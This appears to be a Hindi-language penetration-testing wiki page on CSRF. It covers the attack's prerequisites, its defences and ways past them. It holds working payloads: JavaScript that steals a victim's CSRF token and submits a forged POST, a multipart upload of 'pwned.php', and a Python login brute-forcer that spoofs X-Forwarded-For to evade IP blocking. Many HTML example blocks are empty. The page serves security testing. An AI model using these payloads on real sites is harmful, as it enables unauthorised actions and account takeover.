# CSRF (क्रॉस साइट अनुरोध धोखाधड़ी) {{#include ../banners/hacktricks-training.md}} ## क्रॉस-साइट अनुरोध धोखाधड़ी (CSRF) की व्याख्या **क्रॉस-साइट अनुरोध धोखाधड़ी (CSRF)** एक प्रकार की सुरक्षा कमजोरी है जो वेब अनुप्रयोगों में पाई जाती है। यह हमलावरों को अनजान उपयोगकर्ताओं की ओर से कार्य करने की अनुमति देती है, उनके प्रमाणित सत्रों का लाभ उठाकर। यह हमला तब होता है जब एक उपयोगकर्ता, जो किसी पीड़ित के प्लेटफॉर्म में लॉग इन है, एक दुर्भावनापूर्ण साइट पर जाता है। यह साइट फिर पीड़ित के खाते के लिए अनुरोधों को ट्रिगर करती है, जैसे कि जावास्क्रिप्ट को निष्पादित करना, फॉर्म सबमिट करना, या छवियों को लाना। ### CSRF हमले के लिए पूर्वापेक्षाएँ CSRF कमजोरी का लाभ उठाने के लिए, कई शर्तें पूरी होनी चाहिए: 1. **एक मूल्यवान क्रिया की पहचान करें**: हमलावर को एक ऐसा कार्य खोजना होगा जिसका लाभ उठाया जा सके, जैसे उपयोगकर्ता का पासवर्ड, ईमेल बदलना, या विशेषाधिकार बढ़ाना। 2. **सत्र प्रबंधन**: उपयोगकर्ता का सत्र केवल कुकीज़ या HTTP बेसिक प्रमाणीकरण हेडर के माध्यम से प्रबंधित किया जाना चाहिए, क्योंकि अन्य हेडर का इस उद्देश्य के लिए हेरफेर नहीं किया जा सकता। 3. **अनपेक्षित पैरामीटर की अनुपस्थिति**: अनुरोध में अनपेक्षित पैरामीटर नहीं होने चाहिए, क्योंकि वे हमले को रोक सकते हैं। ### त्वरित जांच आप **Burp में अनुरोध कैप्चर** कर सकते हैं और CSRF सुरक्षा की जांच कर सकते हैं और ब्राउज़र से परीक्षण करने के लिए आप **Copy as fetch** पर क्लिक कर सकते हैं और अनुरोध की जांच कर सकते हैं:
### CSRF के खिलाफ रक्षा CSRF हमलों से बचाने के लिए कई प्रतिकृतियाँ लागू की जा सकती हैं: - [**SameSite कुकीज़**](hacking-with-cookies/#samesite): यह विशेषता ब्राउज़र को क्रॉस-साइट अनुरोधों के साथ कुकीज़ भेजने से रोकती है। [SameSite कुकीज़ के बारे में अधिक](hacking-with-cookies/#samesite)। - [**क्रॉस-उत्सर्जन संसाधन साझा करना**](cors-bypass.md): पीड़ित साइट की CORS नीति हमले की व्यवहार्यता को प्रभावित कर सकती है, विशेष रूप से यदि हमले को पीड़ित साइट से प्रतिक्रिया पढ़ने की आवश्यकता हो। [CORS बायपास के बारे में जानें](cors-bypass.md)। - **उपयोगकर्ता सत्यापन**: उपयोगकर्ता का पासवर्ड मांगना या कैप्चा हल करना उपयोगकर्ता की मंशा की पुष्टि कर सकता है। - **रेफरर या मूल हेडर की जांच**: इन हेडरों को मान्य करना यह सुनिश्चित करने में मदद कर सकता है कि अनुरोध विश्वसनीय स्रोतों से आ रहे हैं। हालाँकि, URLs को सावधानीपूर्वक तैयार करने से खराब तरीके से लागू की गई जांचों को बायपास किया जा सकता है, जैसे: - `http://mal.net?orig=http://example.com` का उपयोग करना (URL विश्वसनीय URL के साथ समाप्त होता है) - `http://example.com.mal.net` का उपयोग करना (URL विश्वसनीय URL से शुरू होता है) - **पैरामीटर नामों में परिवर्तन**: POST या GET अनुरोधों में पैरामीटर के नामों को बदलना स्वचालित हमलों को रोकने में मदद कर सकता है। - **CSRF टोकन**: प्रत्येक सत्र में एक अद्वितीय CSRF टोकन को शामिल करना और बाद के अनुरोधों में इस टोकन की आवश्यकता करना CSRF के जोखिम को काफी कम कर सकता है। टोकन की प्रभावशीलता को CORS को लागू करके बढ़ाया जा सकता है। इन रक्षा उपायों को समझना और लागू करना वेब अनुप्रयोगों की सुरक्षा और अखंडता बनाए रखने के लिए महत्वपूर्ण है। ## रक्षा बायपास ### POST से GET शायद जिस फॉर्म का आप दुरुपयोग करना चाहते हैं वह **CSRF टोकन के साथ POST अनुरोध भेजने के लिए तैयार है**, लेकिन आपको **जांच करनी चाहिए** कि क्या एक **GET** भी **मान्य** है और यदि जब आप GET अनुरोध भेजते हैं तो **CSRF टोकन अभी भी मान्य किया जा रहा है**। ### टोकन की कमी अनुप्रयोग एक तंत्र को लागू कर सकते हैं **टोकन को मान्य करने के लिए** जब वे मौजूद होते हैं। हालाँकि, एक कमजोरी तब उत्पन्न होती है जब टोकन के अनुपस्थित होने पर मान्यता पूरी तरह से छोड़ दी जाती है। हमलावर इस पर **टोकन ले जाने वाले पैरामीटर को हटा कर** लाभ उठा सकते हैं, न कि केवल इसके मान को। इससे उन्हें मान्यता प्रक्रिया को बायपास करने और प्रभावी रूप से क्रॉस-साइट अनुरोध धोखाधड़ी (CSRF) हमला करने की अनुमति मिलती है। ### CSRF टोकन उपयोगकर्ता सत्र से बंधा नहीं है अनुप्रयोग **CSRF टोकन को उपयोगकर्ता सत्रों से नहीं बांधने** पर एक महत्वपूर्ण **सुरक्षा जोखिम** प्रस्तुत करते हैं। ये सिस्टम टोकनों को **वैश्विक पूल** के खिलाफ मान्य करते हैं, बजाय इसके कि प्रत्येक टोकन को आरंभिक सत्र से बंधा हो। हमलावर इस तरह से इसका लाभ उठाते हैं: 1. **अपने खाते का उपयोग करके प्रमाणीकरण करें**। 2. **वैध CSRF टोकन प्राप्त करें** वैश्विक पूल से। 3. **इस टोकन का उपयोग करें** पीड़ित के खिलाफ CSRF हमले में। यह कमजोरी हमलावरों को पीड़ित की ओर से अनधिकृत अनुरोध करने की अनुमति देती है, अनुप्रयोग के **अपर्याप्त टोकन मान्यता तंत्र** का लाभ उठाते हुए। ### विधि बायपास यदि अनुरोध एक "**अजीब**" **विधि** का उपयोग कर रहा है, तो जांचें कि क्या **विधि** **ओवरराइड कार्यक्षमता** काम कर रही है। उदाहरण के लिए, यदि यह **PUT** विधि का **उपयोग कर रहा है**, तो आप **POST** विधि का **उपयोग करने** और **भेजने** का प्रयास कर सकते हैं: _https://example.com/my/dear/api/val/num?**\_method=PUT**_ यह **POST अनुरोध के अंदर \_method पैरामीटर** भेजकर या **हेडर** का उपयोग करके भी काम कर सकता है: - _X-HTTP-Method_ - _X-HTTP-Method-Override_ - _X-Method-Override_ ### कस्टम हेडर टोकन बायपास यदि अनुरोध एक **कस्टम हेडर** के साथ एक **टोकन** को CSRF सुरक्षा विधि के रूप में जोड़ रहा है, तो: - **कस्टमाइज्ड टोकन और हेडर के बिना अनुरोध का परीक्षण करें।** - **समान लंबाई लेकिन अलग टोकन के साथ अनुरोध का परीक्षण करें।** ### CSRF टोकन एक कुकी द्वारा मान्य किया गया है अनुप्रयोग CSRF सुरक्षा को एक कुकी और एक अनुरोध पैरामीटर में टोकन को डुप्लिकेट करके या एक CSRF कुकी सेट करके और यह सत्यापित करके लागू कर सकते हैं कि बैकएंड में भेजा गया टोकन कुकी के अनुरूप है। अनुप्रयोग अनुरोधों को मान्य करता है यह जांचकर कि क्या अनुरोध पैरामीटर में टोकन कुकी में मान के साथ मेल खाता है। हालांकि, यदि वेबसाइट में ऐसी खामियाँ हैं जो हमलावर को पीड़ित के ब्राउज़र में CSRF कुकी सेट करने की अनुमति देती हैं, जैसे कि CRLF कमजोरी, तो यह विधि CSRF हमलों के प्रति संवेदनशील है। हमलावर इसका लाभ उठाकर एक धोखाधड़ी छवि लोड कर सकता है जो कुकी सेट करती है, इसके बाद CSRF हमले को शुरू कर सकता है। नीचे एक उदाहरण है कि एक हमला कैसे संरचित किया जा सकता है: ```html
``` > [!NOTE] > ध्यान दें कि यदि **csrf टोकन सत्र कुकी से संबंधित है तो यह हमला काम नहीं करेगा** क्योंकि आपको पीड़ित का सत्र सेट करना होगा, और इसलिए आप खुद पर हमला कर रहे होंगे। ### सामग्री-प्रकार परिवर्तन [**इस**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests) के अनुसार, **POST** विधि का उपयोग करते समय **पूर्व-उड़ान** अनुरोधों से बचने के लिए ये अनुमत सामग्री-प्रकार मान हैं: - **`application/x-www-form-urlencoded`** - **`multipart/form-data`** - **`text/plain`** हालांकि, ध्यान दें कि **सर्वर की लॉजिक भिन्न हो सकती है** उपयोग किए गए **सामग्री-प्रकार** के आधार पर, इसलिए आपको उल्लेखित मानों और अन्य जैसे **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._ का प्रयास करना चाहिए। उदाहरण ([यहां](https://brycec.me/posts/corctf_2021_challenges) से) JSON डेटा को text/plain के रूप में भेजने का: ```html
``` ### JSON डेटा के लिए प्रीफ्लाइट अनुरोधों को बायपास करना जब POST अनुरोध के माध्यम से JSON डेटा भेजने का प्रयास किया जाता है, तो HTML फॉर्म में `Content-Type: application/json` का उपयोग सीधे संभव नहीं है। इसी तरह, `XMLHttpRequest` का उपयोग करके इस सामग्री प्रकार को भेजने से एक प्रीफ्लाइट अनुरोध शुरू होता है। फिर भी, इस सीमा को बायपास करने और यह जांचने के लिए रणनीतियाँ हैं कि क्या सर्वर सामग्री प्रकार की परवाह किए बिना JSON डेटा को संसाधित करता है: 1. **वैकल्पिक सामग्री प्रकार का उपयोग करें**: फॉर्म में `enctype="text/plain"` सेट करके `Content-Type: text/plain` या `Content-Type: application/x-www-form-urlencoded` का उपयोग करें। यह दृष्टिकोण परीक्षण करता है कि क्या बैकएंड सामग्री प्रकार की परवाह किए बिना डेटा का उपयोग करता है। 2. **सामग्री प्रकार को संशोधित करें**: प्रीफ्लाइट अनुरोध से बचने के लिए जबकि यह सुनिश्चित करते हुए कि सर्वर सामग्री को JSON के रूप में पहचानता है, आप डेटा को `Content-Type: text/plain; application/json` के साथ भेज सकते हैं। यह प्रीफ्लाइट अनुरोध को ट्रिगर नहीं करता है लेकिन यदि सर्वर को `application/json` स्वीकार करने के लिए कॉन्फ़िगर किया गया है तो इसे सही ढंग से संसाधित किया जा सकता है। 3. **SWF फ्लैश फ़ाइल का उपयोग**: एक कम सामान्य लेकिन संभव विधि में ऐसे प्रतिबंधों को बायपास करने के लिए SWF फ्लैश फ़ाइल का उपयोग करना शामिल है। इस तकनीक की गहन समझ के लिए, [इस पोस्ट](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937) को देखें। ### रेफरर / मूल जांच बायपास **रेफरर हेडर से बचें** ऐप्लिकेशन केवल तब 'Referer' हेडर को मान्य कर सकते हैं जब यह मौजूद हो। एक ब्राउज़र को इस हेडर को भेजने से रोकने के लिए, निम्नलिखित HTML मेटा टैग का उपयोग किया जा सकता है: ```xml ``` यह सुनिश्चित करता है कि 'Referer' हेडर को छोड़ दिया गया है, जिससे कुछ अनुप्रयोगों में मान्यता जांचों को बायपास किया जा सकता है। **Regexp बायपास** {{#ref}} ssrf-server-side-request-forgery/url-format-bypass.md {{#endref}} URL में सर्वर का डोमेन नाम सेट करने के लिए जिसे Referrer पैरामीटर के अंदर भेजने जा रहा है, आप कर सकते हैं: ```html
``` ### **HEAD विधि बायपास** [**इस CTF लेखन**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) के पहले भाग में समझाया गया है कि [Oak का स्रोत कोड](https://github.com/oakserver/oak/blob/main/router.ts#L281), एक राउटर को **HEAD अनुरोधों को GET अनुरोधों के रूप में संभालने** के लिए सेट किया गया है जिसमें कोई प्रतिक्रिया शरीर नहीं है - यह एक सामान्य कार्यप्रणाली है जो Oak के लिए अद्वितीय नहीं है। HEAD reqs से निपटने के लिए एक विशिष्ट हैंडलर के बजाय, उन्हें बस **GET हैंडलर को दिया जाता है लेकिन ऐप बस प्रतिक्रिया शरीर को हटा देता है**। इसलिए, यदि एक GET अनुरोध को सीमित किया जा रहा है, तो आप बस **एक HEAD अनुरोध भेज सकते हैं जिसे GET अनुरोध के रूप में संसाधित किया जाएगा**। ## **शोषण उदाहरण** ### **CSRF टोकन निकालना** यदि एक **CSRF टोकन** को **रक्षा** के रूप में उपयोग किया जा रहा है, तो आप एक [**XSS**](xss-cross-site-scripting/#xss-stealing-csrf-tokens) भेद्यता या एक [**Dangling Markup**](dangling-markup-html-scriptless-injection/) भेद्यता का दुरुपयोग करके **इसे निकालने** की कोशिश कर सकते हैं। ### **HTML टैग का उपयोग करके GET** ```xml

404 - Page not found

The URL you are requesting is no longer available ``` अन्य HTML5 टैग जो स्वचालित रूप से GET अनुरोध भेजने के लिए उपयोग किए जा सकते हैं: ```html ``` ### फ़ॉर्म GET अनुरोध ```html
``` ### फ़ॉर्म POST अनुरोध ```html
``` ### iframe के माध्यम से Form POST अनुरोध ```html
``` ### **Ajax POST अनुरोध** ```html ``` ### multipart/form-data POST अनुरोध ```javascript myFormData = new FormData() var blob = new Blob([""], { type: "text/text" }) myFormData.append("newAttachment", blob, "pwned.php") fetch("http://example/some/path", { method: "post", body: myFormData, credentials: "include", headers: { "Content-Type": "application/x-www-form-urlencoded" }, mode: "no-cors", }) ``` ### multipart/form-data POST अनुरोध v2 ```javascript // https://www.exploit-db.com/exploits/20009 var fileSize = fileData.length, boundary = "OWNEDBYOFFSEC", xhr = new XMLHttpRequest() xhr.withCredentials = true xhr.open("POST", url, true) // MIME POST request. xhr.setRequestHeader( "Content-Type", "multipart/form-data, boundary=" + boundary ) xhr.setRequestHeader("Content-Length", fileSize) var body = "--" + boundary + "\r\n" body += 'Content-Disposition: form-data; name="' + nameVar + '"; filename="' + fileName + '"\r\n' body += "Content-Type: " + ctype + "\r\n\r\n" body += fileData + "\r\n" body += "--" + boundary + "--" //xhr.send(body); xhr.sendAsBinary(body) ``` ### एक iframe के भीतर Form POST अनुरोध ```html <--! expl.html -->

Sitio bajo mantenimiento. Disculpe las molestias

``` ### **CSRF टोकन चुराएं और एक POST अनुरोध भेजें** ```javascript function submitFormWithTokenJS(token) { var xhr = new XMLHttpRequest() xhr.open("POST", POST_URL, true) xhr.withCredentials = true // Send the proper header information along with the request xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded") // This is for debugging and can be removed xhr.onreadystatechange = function () { if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) { //console.log(xhr.responseText); } } xhr.send("token=" + token + "&otherparama=heyyyy") } function getTokenJS() { var xhr = new XMLHttpRequest() // This tels it to return it as a HTML document xhr.responseType = "document" xhr.withCredentials = true // true on the end of here makes the call asynchronous xhr.open("GET", GET_URL, true) xhr.onload = function (e) { if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) { // Get the document from the response page = xhr.response // Get the input element input = page.getElementById("token") // Show the token //console.log("The token is: " + input.value); // Use the token to submit the form submitFormWithTokenJS(input.value) } } // Make the request xhr.send(null) } var GET_URL = "http://google.com?param=VALUE" var POST_URL = "http://google.com?param=VALUE" getTokenJS() ``` ### **CSRF टोकन चुराएं और एक iframe, एक फॉर्म और Ajax का उपयोग करके एक Post अनुरोध भेजें** ```html
``` ### **CSRF टोकन चुराएं और एक iframe और एक फॉर्म का उपयोग करके POST अनुरोध भेजें** ```html ``` ### **टोकन चुराएं और इसे 2 iframes का उपयोग करके भेजें** ```html
``` ### **POSTAjax के साथ CSRF टोकन चुराएं और एक फॉर्म के साथ पोस्ट भेजें** ```html
``` ### CSRF with Socket.IO ```html ``` ## CSRF लॉगिन ब्रूट फोर्स कोड का उपयोग CSRF टोकन का उपयोग करके लॉगिन फॉर्म को ब्रूट फोर्स करने के लिए किया जा सकता है (यह संभावित IP ब्लैकलिस्टिंग को बायपास करने के लिए X-Forwarded-For हेडर का भी उपयोग कर रहा है): ```python import request import re import random URL = "http://10.10.10.191/admin/" PROXY = { "http": "127.0.0.1:8080"} SESSION_COOKIE_NAME = "BLUDIT-KEY" USER = "fergus" PASS_LIST="./words" def init_session(): #Return CSRF + Session (cookie) r = requests.get(URL) csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text) csrf = csrf.group(1) session_cookie = r.cookies.get(SESSION_COOKIE_NAME) return csrf, session_cookie def login(user, password): print(f"{user}:{password}") csrf, cookie = init_session() cookies = {SESSION_COOKIE_NAME: cookie} data = { "tokenCSRF": csrf, "username": user, "password": password, "save": "" } headers = { "X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}" } r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY) if "Username or password incorrect" in r.text: return False else: print(f"FOUND {user} : {password}") return True with open(PASS_LIST, "r") as f: for line in f: login(USER, line.strip()) ``` ## उपकरण - [https://github.com/0xInfection/XSRFProbe](https://github.com/0xInfection/XSRFProbe) - [https://github.com/merttasci/csrf-poc-generator](https://github.com/merttasci/csrf-poc-generator) ## संदर्भ - [https://portswigger.net/web-security/csrf](https://portswigger.net/web-security/csrf) - [https://portswigger.net/web-security/csrf/bypassing-token-validation](https://portswigger.net/web-security/csrf/bypassing-token-validation) - [https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses](https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses) - [https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html](https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html) ​ {{#include ../banners/hacktricks-training.md}}